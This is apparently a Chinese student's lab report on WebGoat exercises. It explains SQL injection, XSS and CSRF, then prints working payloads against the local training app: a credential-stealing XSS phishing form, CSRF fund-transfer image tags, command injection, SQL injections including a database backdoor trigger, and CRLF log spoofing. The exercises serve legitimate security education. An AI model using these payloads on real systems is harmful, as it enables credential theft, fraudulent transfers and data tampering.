20155202《网络对抗》Exp9 web安全基础实践
实验前回答问题
(1)SQL注入攻击原理,如何防御
SQL注入产生的原因,和栈溢出、XSS等很多其他的攻击方法类似,就是未经检查或者未经充分检查的用户输入数据,意外变成了代码被执行。针对于SQL注入,则是用户提交的数据,被数据库系统编译而产生了开发者预期之外的动作。也就是,SQL注入是用户输入的数据,在拼接SQL语句的过程中,超越了数据本身,成为了SQL语句查询逻辑的一部分,然后这样被拼接出来的SQL语句被数据库执行,产生了开发者预期之外的动作。
解决办法
从根本上防止上述类型攻击的手段,还是避免数据变成代码被执行,时刻分清代码和数据的界限。而具体到SQL注入来说,被执行的恶意代码是通过数据库的SQL解释引擎编译得到的,所以只要避免用户输入的数据被数据库系统编译就可以了。
(2)XSS攻击的原理,如何防御
XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器
执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列
表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实
施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨
大的,是web安全的头号大敌解决方法
- 一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤.
过滤用户输入的 检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。、严格控制输出
(3)CSRF攻击原理,如何防御
CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:
攻击者盗用了a的身份,以a的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以a的名义发送邮件、发消息,盗取a的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。解决办法:
目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。
WebGoat进行实验
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程.接下来就来配置webgoat。
- 但是非常不幸,我安装webgoat时候问题百出,不知道为什么,我的jdk正常,java可以运行
- 本以为是jar包的问题,按照网上教程将MANIFEST里:后加了空格,发现没卵子用
- 下载了不同版本的webgoat-jar文件进行安装,
- 无济于事
- 最后只能拷老师的虚拟机进行实验(不想再在配置电脑上耗费时间了)
- emmm,very good
- WebGoat使用8080端口,在浏览器上访问
localhost:8080/WebGoat
,进入WebGoat。
练习题目:
1.Phishing with XSS (网路钓鱼)
2.Stored XSS Attacks (存储型xss攻击)
3.Reflected XSS Attacks(非存储型xss攻击,反射型)
4.Cross Site Request Forgery
5.CSRF Prompt By-Pass
6.Command Injection
7.Numeric SQL Injection
8.LAB:SQL Injection(Stage 3:Numeric SQL Injection)
9.Database Backdoors
10.Log Spoofing
XSS练习
1.Phishing with XSS (网路钓鱼)
- 本题要在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点。我们先创建一个form,让受害人在我们创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码,并且将这些信息发送给http://localhost:8080/那一段,完整的XSS攻击代码如下:
</form>
<script>function hack(){ XSSImage=new Image;XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);}
</script>
<form name="phish">
<br>
<br>
<HR><H2>This feature requires account login:</H2>
<br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass">
<br><input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单,如图所示:
- 然后随便填一下,提交
- 这就是传数据回来了,攻击成功
-
2.Stored XSS Attacks (存储型xss攻击)
这个就有点弱鸡了,创建非法的消息内容,导致其他用户访问时载入非预期的页面或内容,这个和实验八里面差不多,就message中输入一串代码比如<script>alert("you have been died");</script>
,然后提交后就蹦出来代码了 -
3.Reflected XSS Attacks(非存储型xss攻击,反射型)
- 当输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容展示,比如下面这个购物车:
- 这时如果我们将带有攻击性的URL作为输入源,在zx那里输入
<script>alert("lalala");</script>
,就会弹出对话框:
第2个和第3个效果相同但是原理不同
存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。
反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
点击弹出自己的在该网站的cookie:
CSRF攻击
4.Cross Site Request Forgery
- 目的:写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
- 在message框中输入代码:
<img src="http://localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=4000"/>
,其中Screen和menu在当前页面的右边Parameters进行查看: - 提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的4000元,从而达到CSRF攻击的目的。
5.CSRF Prompt By-Pass
- 包括了两个请求,一是转账请求,二是确认转账成功请求,即需要额外传递两个参数给服务器(transferFunds=4000,transferFunds=CONFIRM)
先在浏览器中手动输入URL:localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=100进入确认转账请求页面
- 转账请求
- 点击CONFIRM按钮,再在浏览器中输入URL:
localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM
,成功转走了100元: - 确认转账成功
Injection Flaws训练
6.Command Injection
- 在目标主机上执行系统命令,通过火狐浏览器下的Firebug对源代码进行修改,在BackDoors.help旁边加上"& netstat -an & ipconfig":
- 之后在下拉菜单中能看到修改后的值
- 选中修改后的值再点view,出现系统网络连接情况:
7.Numeric SQL Injection
- 通过注入SQL字符串的方式查看所有的天气数据,加上一个1=1这种永真式即可达到目的,在任意一个值比如101旁边加上
or 1=1
: - 选中Columbia,点Go,可以看到所有天气数据
-
LAB:SQL Injection(Stage 1:String SQL Injection)
- 先以用户Neville登录,在密码栏中输入
' or 1=1 --
进行SQL注入,登录失败: - 到源代码里寻找原因,发现最大键入值有问题,就八位,太小了,改成30位
- 再退出,重新登录,成功
8.LAB:SQL Injection(Stage 3:Numeric SQL Injection)
先以用户名Larry登录,登录之后看到浏览员工信息的按钮是ViewProfile:
在网页代码中分析这个按钮,发现这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,老板的工资都应该是最高的,所以把其中的value值改为
101 or 1=1 order by salary desc --
,这样老板的信息就会被排到第一个:- 重新登录可以查看到老板的信息:
9.Database Backdoors
- 先输101,得到了该用户的信息:
- 发现输入的语句没有验证,可以进行SQL注入,输入注入语句:
101; update employee set salary=200000
- 攻击成功
- 注入
101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155202@qq.com' WHERE userid = NEW.userid
表中一旦添加新用户那么就在用户表里将新用户的邮箱改为我设置的邮箱。
10.Log Spoofing
- 输入的用户名会被追加到日志文件中,所以我们可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,在User Name文本框中输入
zx%0d%0aLogin Succeeded for username: admin
,其中%0d是回车,%0a是换行符: - 攻击成功
实验体会
- 这次实验我webgoat安装不上就很难受,最难受的应该是这个:写了一晚上博客最后想Ctrl A,Ctrl C到有道云失手成了Ctrl V,然后发现博客园后台没有Ctrl Z
- 这篇博客是在误删后重新写的,有些地方描述不是很准确,写的比较急了第二次。
这次实验通过使用webgoat做了一系列的sql,CSRF和xss攻击,使我对这几种攻击方式有了更清楚的区分和理解,让我对我们这些菜鸡编出来的代码极度的否定态度,没有找不出来的漏洞,所以在信息安全这条道路上好好的体会琢磨吧,道阻且艰!